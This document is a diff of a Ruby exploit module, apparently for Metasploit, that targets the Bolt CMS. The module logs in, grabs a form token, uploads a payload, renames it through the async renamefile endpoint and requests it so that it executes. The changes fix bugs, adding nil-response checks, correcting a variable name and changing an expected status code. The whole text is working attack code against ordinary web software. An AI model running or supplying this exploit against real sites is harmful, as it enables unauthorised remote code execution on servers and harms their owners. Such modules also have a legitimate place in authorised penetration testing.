@@ -62,8 +62,13 @@ def bolt_login(user, pass)
62
62
'uri' => normalize_uri ( target_uri . path , 'bolt' , 'bolt' , 'login' )
63
63
)
64
64
65
+ unless res
66
+ print_error ( "#{ peer } - No response from server." )
67
+ return
68
+ end
69
+
65
70
session_cookie = res . get_cookies
66
- vprint_status ( ' Logging in...' )
71
+ vprint_status ( " #{ peer } - Logging in..." )
67
72
res = send_request_cgi (
68
73
'method' => 'POST' ,
69
74
'uri' => normalize_uri ( target_uri . path , 'bolt' , 'bolt' , 'login' ) ,
@@ -75,11 +80,7 @@ def bolt_login(user, pass)
75
80
}
76
81
)
77
82
78
- unless res && res . code == 302
79
- print_error ( "#{ peer } - Login failed" )
80
- end
81
-
82
- if res . code == 302 && res . redirection . to_s . include? ( '/bolt/bolt' )
83
+ if res && res . code == 302 && res . redirection . to_s . include? ( '/bolt/bolt' )
83
84
session_cookie = res . get_cookies
84
85
return session_cookie
85
86
end
@@ -93,19 +94,14 @@ def get_token(cookie)
93
94
'cookie' => cookie
94
95
)
95
96
96
- unless res
97
- print_error ( "#{ peer } - Unable to connect in the Server" )
98
- return
99
- end
100
-
101
97
if res && res . code == 200 && res . body =~ / name="form\[ _token\] " value="(.+)" /
102
98
return Regexp . last_match [ 1 ]
103
99
end
104
100
nil
105
101
end
106
102
107
103
def rename_payload ( cookie , payload )
108
- res = send_request_cgi (
104
+ res = send_request_cgi (
109
105
'method' => 'POST' ,
110
106
'uri' => normalize_uri ( target_uri . path , 'bolt' , 'async' , 'renamefile' ) ,
111
107
'vars_post' => {
@@ -117,12 +113,7 @@ def rename_payload(cookie, payload)
117
113
'cookie' => cookie
118
114
)
119
115
120
- unless res
121
- vprint_error ( "#{ peer } - Unable to rename de file." )
122
- return
123
- end
124
-
125
- if res . code == 200
116
+ if res && res . code == 200
126
117
return true
127
118
end
128
119
nil
@@ -138,7 +129,7 @@ def exploit
138
129
vprint_good ( "#{ peer } - Authenticated with Bolt." )
139
130
140
131
token = get_token ( cookie )
141
- if nonce . nil?
132
+ if token . nil?
142
133
print_error ( "#{ peer } - No token found." )
143
134
return
144
135
end
@@ -161,12 +152,7 @@ def exploit
161
152
'cookie' => cookie
162
153
)
163
154
164
- unless res
165
- print_error ( "#{ peer } - No response from the target" )
166
- return
167
- end
168
-
169
- if res . code == 304
155
+ if res && res . code == 302
170
156
vprint_good ( "#{ peer } - Uploaded the payload" )
171
157
172
158
rename = rename_payload ( cookie , payload_name )
@@ -187,7 +173,7 @@ def exploit
187
173
)
188
174
vprint_good ( "#{ peer } - Executed payload" )
189
175
else
190
- print_error ( "#{ peer } - To do " )
176
+ print_error ( "#{ peer } - Exploit failed. Aborting. " )
191
177
end
192
178
end
193
179
end
0 commit comments